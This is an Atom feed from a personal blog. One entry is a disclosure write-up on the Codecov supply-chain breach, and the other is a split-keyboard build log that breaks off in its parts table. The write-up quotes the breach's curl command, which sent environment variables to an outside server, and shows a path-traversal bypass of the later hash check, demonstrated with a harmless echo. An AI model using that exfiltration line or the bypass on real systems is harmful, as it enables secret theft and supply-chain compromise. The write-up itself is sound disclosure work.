<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Revan Sopher</title>
 <link href="http://revan.io/atom.xml" rel="self"/>
 <link href="http://revan.io/"/>
 <updated>2026-03-08T08:14:18+00:00</updated>
 <id>http://revan.io</id>
 <author>
   <name>Revan Sopher</name>
   <email></email>
 </author>

 
 <entry>
   <title>Hash Verification Bypass in Codecov GitHub Action</title>
   <link href="http://revan.io/2021/04/25/hash-verification-bypass-in-codecov-github-action/"/>
   <updated>2021-04-25T00:00:00+00:00</updated>
   <id>http://revan.io/2021/04/25/hash-verification-bypass-in-codecov-github-action</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Codecov, a test coverage service, disclosed a &lt;a href=&quot;https://finance.yahoo.com/news/codecov-hackers-breached-hundreds-restricted-234749553.html&quot;&gt;considerable supply-chain attack&lt;/a&gt; on April 15th.
The preventative hash verification measure added post-fact was trivially vulnerable.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As per Codecov’s &lt;a href=&quot;https://about.codecov.io/security-update/&quot;&gt;own disclosure&lt;/a&gt;, the attack involved compromising the hosting of their code uploader &lt;a href=&quot;http://codecov.io/bash&quot;&gt;bash script&lt;/a&gt; (warning, link downloads file) to add a single line slurping up environment variables to an unknown server:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-sm&lt;/span&gt; 0.5 &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; “&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;git remote &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; ENV &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;” http://&amp;lt;redacted&amp;gt;/upload/v2 &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The GitHub Actions codecov uploader, despite being written in typescript, actually just downloads the bash script and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt; on it.&lt;/p&gt;

&lt;h2 id=&quot;hash-verification&quot;&gt;Hash Verification&lt;/h2&gt;

&lt;p&gt;After disclosing the breach, Codecov engineers &lt;a href=&quot;https://github.com/codecov/codecov-action/pull/282&quot;&gt;added some hash verification logic&lt;/a&gt; to avoid blindly executing malicious bash code from the web.&lt;/p&gt;

&lt;p&gt;I looked at the PR diff out of curiosity, and found a reviewer comment asking why the logic was computing and checking SHA1, SHA256, &lt;em&gt;and&lt;/em&gt; SHA512. The author’s answer of “although it is unlikely that one would match and another wouldn’t, I’d prefer to be thorough” felt like security mysticism so I looked closer for any obvious errors.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculateChecksum()&lt;/code&gt;, aptly named, calculates one of the SHA hashes by number using the standard library hash function.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;calculateChecksum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shasum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;crypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`sha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;shasum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;shasum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;  codecov`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;retrieveChecksum()&lt;/code&gt; downloads the corresponding hashes that have been checked into the bash script repository.
Downloading hashes smells funny from a security perspective, but I suppose if we’re running this typescript on a GitHub Actions machine and couldn’t trust GitHub’s hosting, we also couldn’t trust the script we were currently running. If anything, downloading the bash script itself from GitHub’s hosting might have avoided this whole compromise in the first place?&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://raw.githubusercontent.com/codecov/codecov-bash/1.0.1/SHA1SUM&quot;&gt;SHA1 for 1.0.1&lt;/a&gt;, then, contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0ddc61a9408418c73b19a1375f63bb460dc947a8  codecov&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;retrieveChecksum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encryption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`https://raw.githubusercontent.com/codecov/codecov-bash/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/SHA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encryption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;SUM`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;maxAttempts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;statusCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;warning&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;`Codecov could not retrieve checksum SHA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encryption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; at &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to know which versioned hash to check against, the code parses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VERSION=&quot;1.0.2&quot;&lt;/code&gt; line from the script like so:&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getVersion&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;regex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/VERSION=&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;.*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&quot;/g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;regex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This string is parsed using a particularly generous regex. Oh no.&lt;/p&gt;

&lt;h2 id=&quot;bypass&quot;&gt;Bypass&lt;/h2&gt;

&lt;p&gt;I modified the official bash uploader by adding a line of custom code (in this case an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt;, but just as easily the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; of the original breach) and wrote a custom version string:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Apache License Version 2.0, January 2004&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# https://github.com/codecov/codecov-bash/blob/master/LICENSE&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; +o pipefail

&lt;span class=&quot;nv&quot;&gt;VERSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;../../revan/codecov-bash/1.0.1&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;doing nefarious things&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I hosted the script as a &lt;a href=&quot;https://gist.github.com/revan/4f24c5336f625d9189f1bcf8f666d4ca&quot;&gt;gist&lt;/a&gt;, but in an attack scenario the malicious bash file would be once again hosted from their compromised server.&lt;/p&gt;

&lt;p&gt;(Aside, yes, the original script sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+o pipefail&lt;/code&gt; to explicitly &lt;em&gt;disable&lt;/em&gt; a disabled-by-default safety feature. Your scripts should &lt;a href=&quot;http://redsymbol.net/articles/unofficial-bash-strict-mode/&quot;&gt;pretty much always start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set -euo pipefail&lt;/code&gt;&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;I then forked the codecov-bash repository, and made a single commit &lt;a href=&quot;https://github.com/revan/codecov-bash/commit/48544c3c075b8828cea1a9a91913403da080464a&quot;&gt;updating the checked in hashes&lt;/a&gt; to be the corresponding hashes of my malicious uploader script.&lt;/p&gt;

&lt;p&gt;You can probably put together the parts here, but to summarize: if the new hash-aware GitHub Actions client were served my modified bash file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getVersion()&lt;/code&gt; would happily return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;../../revan/codecov-bash/1.0.1&quot;&lt;/code&gt;, which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;retrieveChecksum()&lt;/code&gt; would interpolate into the url string.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; in the url is interpreted to mean “up a directory” just like in the terminal, backing out of the official codecov repository and into mine.&lt;/p&gt;

&lt;p&gt;Either my browser or blog software is eagerly parsing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; out of any link, but paste this to see for yourselves:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://raw.githubusercontent.com/codecov/codecov-bash/../../revan/codecov-bash/1.0.1/SHA1SUM
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The client locally calculates the three hashes, which match the hashes in my repository, and proceeds to execute the script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ node dist/index.js
[command]/bin/bash codecov.sh -n  -F  -Q github-action
doing nefarious things

  _____          _
 / ____|        | |
| |     ___   __| | ___  ___ _____   __
| |    / _ \ / _` |/ _ \/ __/ _ \ \ / /
| |___| (_) | (_| |  __/ (_| (_) \ V /
 \_____\___/ \__,_|\___|\___\___/ \_/
                              Bash-../../revan/codecov-bash/1.0.1


==&amp;gt; git version 2.31.0 found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;resolution&quot;&gt;Resolution&lt;/h2&gt;

&lt;p&gt;Because I’m not on a resolute mission to spread chaos, I disclosed this vulnerability to Codecov security@ &lt;a href=&quot;https://about.codecov.io/security/#codecov-responsible-disclosure-policy&quot;&gt;per their policy&lt;/a&gt; on April 19th.
It was acknowledged same day, and a fix &lt;a href=&quot;https://github.com/codecov/codecov-action/pull/287&quot;&gt;tightening the regex and hardcoding the hashes&lt;/a&gt; was merged the next.&lt;/p&gt;

&lt;p&gt;The code still parses an untrusted downloaded file to extract the version, which rubs me wrong since they could instead check against the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; most recent hashes, but I don’t see any security issues beyond a (pointless) DOS or potential vulnerability in the standard library regex engine.&lt;/p&gt;

&lt;p&gt;Security is hard and I only know just enough to know not to trust my own knowledge, but this episode hasn’t left me feeling impressed.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Building the ErgoDash</title>
   <link href="http://revan.io/2021/01/10/building-the-ergodash/"/>
   <updated>2021-01-10T00:00:00+00:00</updated>
   <id>http://revan.io/2021/01/10/building-the-ergodash</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Build log-ish document for choosing and assembling a particular split ergonomic mechanical keyboard.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It was 2018 when I first realized I needed to do something about my keyboard ergonomics situation.
During a period of particularly mechanical refactoring by day and more Counter-Strike than perhaps strictly responsible by night, I started showing signs of light RSI in my left hand.
Not willing to risk the shame (and, you know, career-altering disability) of having &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl+C&lt;/code&gt;‘d my way into &lt;a href=&quot;https://en.wikipedia.org/wiki/Emacs#Emacs_pinky&quot;&gt;Emacs pinky&lt;/a&gt; (as an ostensible Vim user no less!), I switched to a tented &lt;a href=&quot;https://ergodox-ez.com/&quot;&gt;ErgoDox EZ&lt;/a&gt; at work.&lt;/p&gt;

&lt;p&gt;It took a couple weeks to get up to speed on the ErgoDox, especially the aligned columns, but it was a marked improvement.
Still, I felt the same complaints about the design as many note: in particular, that the thumb cluster is awkwardly shaped and too far away to be particularly useful. Come May 2020 and the beginning of long term working from home, spending full days at the same desk, I decided to give a hobby build a shot.&lt;/p&gt;

&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Split hands&lt;/strong&gt;. While this means the additional hassle of needing to reorient the keyboard whenever I move it, it also means I can place the two halves apart and angled slightly inward such that my elbows never have to leave my armrests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Column stagger&lt;/strong&gt;. While the normal QWERTY layout has subsequent rows staggered from each other, this is a relic of the not-jamming-the-typewriter days.
This doesn’t really make sense, since our fingers are… straight (and it looks &lt;a href=&quot;https://ultimatehackingkeyboard.com&quot;&gt;really weird&lt;/a&gt; when split.).
A popular custom option is to arrange the keys into a rectangular grid, which is a bit more natural, but the column stagger layouts take this a step further by vertically shifting the columns of the longer fingers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thumb modifiers&lt;/strong&gt;. Standard keyboard layouts reserve both thumbs for a single space key. Considering the other fingers are generally responsible for four to eight keys, that seems a bit… unnecessarily fault-tolerant?
My plan was to offload all the modifiers I was contorting my left pinkie for onto the left thumb.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Number keys, arrow keys&lt;/strong&gt;. The enthusiast ergonomic keyboard world seems to love these minimalist designs where every input beyond the basic alphabet is hidden away behind a layer or two of chording, with the split goal of eliminating all hand movements and achieving a state of enlightened minimalist bliss.
I’m actually quite fond of my arrow keys! Plus my discomfort is from shortcuts, not wrist strain, so chording would be a step in the wrong direction here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Usable for PC gaming&lt;/strong&gt;. There’s actually not too much to this one – any keyboard that doesn’t try shed every non-alpha key is probably going to have a serviceable left hand.&lt;/p&gt;

&lt;p&gt;Some internet prowling turned up only the &lt;a href=&quot;https://github.com/omkbd/ErgoDash&quot;&gt;ErgoDash&lt;/a&gt; as fitting these criteria, though the &lt;a href=&quot;https://github.com/foostan/crkbd&quot;&gt;Corne&lt;/a&gt; and &lt;a href=&quot;https://keeb.io/products/iris-keyboard-split-ergonomic-keyboard&quot;&gt;Iris&lt;/a&gt; look promising if I were ready to give up the arrow keys.
The &lt;a href=&quot;https://github.com/abstracthat/dactyl-manuform&quot;&gt;Dactyl Manuform&lt;/a&gt; looks like quite the adventure, but I didn’t have access to 3D printing.&lt;/p&gt;

&lt;h2 id=&quot;parts&quot;&gt;Parts&lt;/h2&gt;

&lt;h3 id=&quot;pcb-printing&quot;&gt;PCB Printing&lt;/h3&gt;

&lt;p&gt;ErgoDash PCBs seem to occasionally go for sale as group-buys, but at the moment only &lt;a href=&quot;https://falba.tech/product/ergodash-pcb-electrical-boards-set-of-2&quot;&gt;falba.tech&lt;/a&gt; carries it (for a modest €16.26, and less modest €30.00 of shipping).
Luckily as an open source design, we can actually have our own boards printed by sending the design files off GitHub to a manufacturer.
I used &lt;a href=&quot;https://jlcpcb.com/&quot;&gt;JLCPCB&lt;/a&gt; to get 5 boards (minimum quantity) at 1.6mm thick, with the fancy lead-free ENIG finish (though I did use leaded solder, so I guess my window of opportunity for licking the board has closed), shipped for $45.65.&lt;/p&gt;

&lt;p&gt;The interface was a bit bewildering (and certainly made it clear I was playing with industrial prototyping beyond my realm of understanding), but the experience was pleasant: it took 11 days to pass through manufacturing, review, and delivery, beating out some of the off-the-shelf orders I’d placed.&lt;/p&gt;

&lt;h3 id=&quot;case-cutting&quot;&gt;Case Cutting&lt;/h3&gt;

&lt;p&gt;A similar situation for the case assembly: I uploaded the files from the repo to &lt;a href=&quot;https://www.ponoko.com&quot;&gt;Ponoko&lt;/a&gt; for laser cutting, where a 1.5mm black acrylic case ran me around $50 (of which $14 is a one-off setup fee)
As it turns out, 1.5mm &lt;em&gt;was way too thin&lt;/em&gt;: the thumb cluster plate snapped during assembly, and the project became a shaky mess of tape.
I’d guess 3mm is a more appropriate acrylic thickness.&lt;/p&gt;

&lt;p&gt;I ordered a second case, this time using &lt;a href=&quot;https://github.com/clomie/ergodash-tilting-tenting-case&quot;&gt;another user’s variant&lt;/a&gt; which adds four holes for M5 screws around the keyboard for a tenting setup.
I had this one made in 1.6mm aluminum (a material that can actually stay together at that thickness) for only $6 more than the first order.
Underwhelmingly I ended up finding my favorite degree of tenting is no tenting, though, so now I’ve got these unused screw holes sticking out all over.&lt;/p&gt;

&lt;p&gt;Note that for some reason the official case design includes multiple size variants in one file, so I deleted the ones I didn’t need in Inkscape before uploading.&lt;/p&gt;

&lt;h3 id=&quot;hot-swapping&quot;&gt;Hot Swapping&lt;/h3&gt;

&lt;p&gt;I chose a popular option for making a hot-swappable keyboard: instead of soldering the switches directly into the PCB, which locks you into a commitment to one switch type and makes repairs harder, we solder in two of these &lt;a href=&quot;https://www.digikey.com/en/products/detail/mill-max-manufacturing-corp/0305-2-15-80-47-80-10-0/2639493&quot;&gt;Mill-Max 0305&lt;/a&gt; tubes per switch.
The switch legs stick inside the tube with friction, otherwise operating normally.
They do slightly affect the angle at which the switch rests, but the top plate of the case stabilizes nicely.&lt;/p&gt;

&lt;h3 id=&quot;elite-c&quot;&gt;Elite-C&lt;/h3&gt;

&lt;p&gt;I also swapped the Arduino Pro Micro for the backwards-compatible &lt;a href=&quot;https://keeb.io/products/elite-c-low-profile-version-usb-c-pro-micro-replacement-atmega32u4&quot;&gt;Elite-C&lt;/a&gt; which boasts a sturdier USB-C port.
Aside from needlessly driving the price up, I figured I could cleverly also avoid installing the standalone reset buttons as the Elite-C has one on-board – what I hadn’t thought through is that the on-board reset button is all but inaccessible once installed, so flashing a new layout to this thing currently requires me to wedge tweezers inside the case and feel for the button.&lt;/p&gt;

&lt;h3 id=&quot;keycaps&quot;&gt;Keycaps&lt;/h3&gt;

&lt;p&gt;Normal mechanical keycap sets don’t include enough 1U caps to cover this layout, so I’ve seen a lot of folks use stray keys or cheap blank PBTs.
The “MDA Big Bang Ortholinear” set, available unreliably around the internet for $60, is unusual for its wide selection of keys (the heights even lined up for me, other than the stray &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+=&lt;/code&gt; sticking out).&lt;/p&gt;

&lt;h3 id=&quot;key-switches&quot;&gt;Key Switches&lt;/h3&gt;

&lt;p&gt;While I first built this using the tried and true MX Blues, I pulled those out for a set of Kailh Box Whites (80 for $30).
I’ve been loving these switches: slightly lighter than the blues, and with an audible click both on the downstroke and the upstroke.&lt;/p&gt;

&lt;p&gt;The PCB can handle both PCB-mount and plate-mount switches, where PCB-mount have little plastic nubs for stabilizing against the PCB and both types can be held in place by the top plate of a case. 
It’s technically possible to omit the case altogether using PCB-mount switches, but then each keystroke’s force drives straight into the PCB rather than being distributed through the case assembly.
In my case, the Kailh box switches are plate-mount only, so the decision was easy.&lt;/p&gt;

&lt;h3 id=&quot;misc&quot;&gt;Misc&lt;/h3&gt;

&lt;p&gt;The remaining parts were sourced from &lt;a href=&quot;https://keeb.io/&quot;&gt;keeb.io&lt;/a&gt; or Amazon, inventory depending.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;part&lt;/th&gt;
      &lt;th&gt;price&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Diodes x100&lt;/td&gt;
      &lt;td&gt;$4.68&lt;/td&gt;
    &lt;/tr&gt;
